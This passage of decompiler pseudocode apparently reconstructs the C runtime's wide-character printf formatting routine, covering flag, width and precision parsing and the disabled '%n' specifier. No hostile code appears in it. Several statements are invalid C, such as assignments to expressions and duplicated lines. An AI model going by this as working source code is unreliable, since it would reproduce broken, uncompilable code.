																	 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L24:
																goto L205;
															case 4:
																L25:
																 *(__ebp - 0x30) = 0;
																goto L205;
															case 5:
																L26:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t83;
																	 *(__ebp - 0x30) = __ecx + _t83;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																L31:
																goto L205;
															case 6:
																L32:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4d8) = __ecx;
																 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
																 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
																__eflags =  *(__ebp - 0x4d8) - 0x2e;
																if( *(__ebp - 0x4d8) > 0x2e) {
																	L55:
																	goto L205;
																}
																L33:
																_t91 =  *(__ebp - 0x4d8) + 0x4296d4; // 0x8f929003
																__ecx =  *_t91 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004296C0))) {
																	case 0:
																		L38:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L41:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L44:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L50:
																					L52:
																					goto L55;
																				}
																				L45:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L50;
																				}
																				L46:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L50;
																				}
																				L47:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L50;
																				}
																				L48:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L50;
																				}
																				L49:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L9;
																				}
																				goto L50;
																			}
																			L42:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L44;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L52;
																			}
																		}
																		L39:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L41;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L52;
																		}
																	case 1:
																		L53:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L55;
																	case 2:
																		L34:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L55;
																	case 3:
																		L54:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L55;
																	case 4:
																		goto L55;
																}
															case 7:
																L56:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4dc) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4dc);
																__ecx =  *(__ebp - 0x4dc) - 0x41;
																 *(__ebp - 0x4dc) = __ecx;
																__eflags =  *(__ebp - 0x4dc) - 0x37;
																if( *(__ebp - 0x4dc) > 0x37) {
																	while(1) {
																		L178:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																}
																L57:
																_t132 =  *(__ebp - 0x4dc) + 0x429740; // 0xcccccc0d
																__eax =  *_t132 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t132 & 0x000000ff) * 4 +  &M00429704))) {
																	case 0:
																		L111:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L112;
																	case 1:
																		L58:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L60;
																	case 2:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L75;
																	case 3:
																		L134:
																		 *(__ebp - 0x460) = 7;
																		goto L136;
																	case 4:
																		L66:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x470) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x470);
																		if( *(__ebp - 0x470) == 0) {
																			L68:
																			__edx =  *0x44ba18; // 0x409128
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																			L72:
																			goto L178;
																		}
																		L67:
																		__ecx =  *(__ebp - 0x470);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L69:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x470);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x470);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x470);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x470);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L72;
																		}
																		goto L68;
																	case 5:
																		L112:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L114:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L117:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L119:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E00423790(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push(__eax);
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x44ba08; // 0xae625e32
																				_push(__edx);
																				__imp__DecodePointer();
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						__eax = E00423790(__ebp - 0x40);
																						_push(__eax);
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x44ba14; // 0xae625e32
																						_push(__edx);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00423790(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44ba10; // 0xae625e32
																						_push(__eax);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				do {
																					L178:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L203;
																					}
																					goto L179;
																				} while ( *(__ebp - 0x4dc) > 0x37);
																				goto L57;
																			}
																			L115:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L117;
																			}
																			L116:
																			 *(__ebp - 0x30) = 1;
																			goto L119;
																		}
																		L113:
																		 *(__ebp - 0x30) = 6;
																		goto L119;
																	case 6:
																		L60:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x46c) = __dl;
																			 *((char*)(__ebp - 0x46b)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E00423790(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E00423790(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x46c;
																			__eax = __ebp - 0x448;
																			__eax = E00439180(__ebp - 0x448, __ebp - 0x46c,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																	case 7:
																		L132:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L141;
																	case 8:
																		L97:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x480) = E00429820(__ebp + 0x14);
																		__eax = E004390D0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L107:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x480);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x480)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L178:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		}
																		L98:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4e4) = 0;
																		} else {
																			 *(__ebp - 0x4e4) = 1;
																		}
																		__edx =  *(__ebp - 0x4e4);
																		 *(__ebp - 0x484) =  *(__ebp - 0x4e4);
																		__eflags =  *(__ebp - 0x484);
																		if( *(__ebp - 0x484) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L00427590();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x484);
																		if( *(__ebp - 0x484) != 0) {
																			L106:
																			while(1) {
																				L178:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		} else {
																			L105:
																			 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																			__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4c4) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E00423760(__ecx);
																			__eax =  *(__ebp - 0x4c4);
																			L207:
																			__eflags =  *(_t492 - 0x48) ^ _t492;
																			return E00425740(_t463, _t472,  *(_t492 - 0x48) ^ _t492, _t485, _t490, _t491);
																		}
																	case 9:
																		L139:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00429820(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L158;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L75:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4e0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4e0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4e0);
																		 *(__ebp - 0x478) =  *(__ebp - 0x4e0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L89:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x44ba1c; // 0x409118
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x47c) =  *(__ebp - 4);
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x478);
																				__ecx =  *(__ebp - 0x478);
																				__ecx =  *(__ebp - 0x478) - 1;
																				 *(__ebp - 0x478) = __ecx;
																				__eflags =  *(__ebp - 0x478);
																				if( *(__ebp - 0x478) == 0) {
																					break;
																				}
																				L93:
																				__edx =  *(__ebp - 0x47c);
																				__eax =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x47c)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L94:
																				 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																				 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																			}
																			L95:
																			__edx =  *(__ebp - 0x47c);
																			__edx =  *(__ebp - 0x47c) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L96;
																		} else {
																			L79:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x474) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L83:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x478);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x478)) {
																					break;
																				}
																				L84:
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L85:
																				__ecx = __ebp - 0x40;
																				E00423790(__ebp - 0x40) =  *(__ebp - 0x474);
																				__ecx =  *( *(__ebp - 0x474)) & 0x000000ff;
																				__eax = E00439110( *( *(__ebp - 0x474)) & 0x000000ff,  *(__ebp - 0x474));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x474);
																					__edx =  *(__ebp - 0x474) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x474) = __edx;
																				}
																				 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																				 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L88:
																			L96:
																			while(1) {
																				L178:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		}
																	case 0xc:
																		L133:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L158;
																			}
																			goto L154;
																		}
																	case 0xd:
																		L135:
																		 *(__ebp - 0x460) = 0x27;
																		L136:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		while(1) {
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
